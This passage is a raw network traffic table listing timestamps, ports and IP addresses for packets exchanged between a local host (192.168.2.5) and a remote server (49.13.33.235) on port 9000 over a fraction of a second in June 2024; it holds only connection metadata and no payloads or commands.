Jun 27, 2024 06:44:39.335025072 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335037947 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335061073 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.335088968 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.335196972 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335278988 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335293055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335300922 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335314035 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335329056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335344076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335412979 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335427999 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.335427999 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.335460901 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335478067 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335484982 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.335494041 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335505962 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.335509062 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.335521936 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.335544109 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.335992098 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.336035967 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.336561918 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.336606026 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.340410948 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.340425968 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.340440035 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.340461969 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.340486050 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.340508938 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.340523958 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.340537071 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.340548992 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.340574980 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.340605974 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.340641975 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.340723991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.340766907 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.357409954 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.357450962 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.357465029 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.357480049 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.357481956 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.357508898 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.357527971 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.357609034 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.357624054 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.357642889 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.357655048 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.357656002 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.357670069 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.357717037 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361016989 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361123085 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361160994 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361174107 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361188889 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361203909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361217022 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361221075 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361239910 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361254930 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361260891 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361270905 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361290932 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361310959 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361414909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361532927 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361546040 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361548901 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361561060 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361576080 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361588001 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361591101 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361605883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.361605883 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361634016 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.361649036 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.365596056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365664959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365679979 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365694046 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.365710974 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.365735054 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365736961 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.365751028 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365767002 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365782976 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365808010 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.365842104 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.365849972 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365864038 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365879059 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365889072 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.365892887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365900040 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.365941048 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.365962029 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.365999937 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.366004944 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.366014957 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.366030931 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.366044998 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.366060019 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.366071939 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.370732069 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.370784044 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.370793104 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.370799065 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.370836020 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.370910883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.370932102 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.370945930 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.370968103 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.370984077 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.370994091 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.371000051 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.371021032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.371036053 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.381588936 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.381603956 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.381619930 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.381668091 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.381730080 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.381752014 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.381767988 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.381782055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.381794930 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.381798029 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.381828070 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.381855011 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.387650967 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.387717962 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.387732029 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.387748003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.387775898 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.387798071 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.387856960 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.387871981 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.387917042 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.389540911 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.389553070 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.389674902 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.389674902 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392437935 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392488003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392510891 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392532110 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392534971 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392549992 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392560959 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392590046 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392591000 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392613888 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392637014 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392642975 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392651081 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392661095 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392669916 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392690897 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392702103 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392716885 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392731905 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392746925 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.392759085 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392777920 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.392935991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.393038034 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.393174887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.393210888 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.422857046 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.422873974 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.422889948 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.422913074 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.422930956 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.422955036 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.422970057 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.422983885 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.422998905 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423018932 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423022985 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423033953 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423049927 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423055887 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423073053 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423089981 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423130035 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423172951 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423201084 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423257113 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423337936 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423489094 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423525095 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423537970 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423553944 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423577070 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423588991 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423613071 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423628092 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423641920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423657894 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423670053 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423691034 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423696041 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423711061 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423741102 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423744917 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423755884 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423770905 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423778057 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423805952 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.423914909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.423930883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424006939 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424021006 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424036980 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424052000 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424061060 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.424073935 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.424096107 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.424282074 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424299002 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424310923 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424324036 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424360991 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.424366951 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424382925 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424397945 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.424402952 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.424412012 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.424436092 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.429343939 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.429358959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.429373026 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.429393053 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.429413080 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.429426908 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.429474115 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.429488897 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.429513931 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.429533005 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.429542065 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.429555893 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.429578066 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.429594040 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.446276903 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.446293116 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.446307898 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.446351051 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.446367979 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.446382999 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.446386099 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.446398973 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.446414948 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.446420908 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.446420908 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.446444035 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.446458101 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.449871063 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.449915886 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.449930906 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.449949980 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.449968100 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.450007915 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450021982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450036049 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450048923 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.450052023 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450082064 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.450104952 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.450117111 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450130939 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450145960 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450155973 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.450169086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.450184107 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.450200081 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450213909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450228930 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450242043 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.450267076 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.450294018 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.454338074 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454360008 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454384089 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454397917 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454413891 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454427958 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454442978 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454523087 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454538107 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454555035 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.454560995 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454576015 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454588890 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.454592943 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454603910 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.454608917 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454626083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.454636097 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.454668999 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.459568024 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.459625959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.459651947 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.459662914 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.459713936 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.459717035 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.459753990 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.459765911 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.459796906 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.459799051 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.459814072 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.459845066 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.470575094 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.470591068 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.470607042 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.470634937 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.470654011 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.470658064 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.470673084 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.470688105 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.470700026 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.470702887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.470733881 CEST	49757	9000	192.168.2.5	49.13.33.235
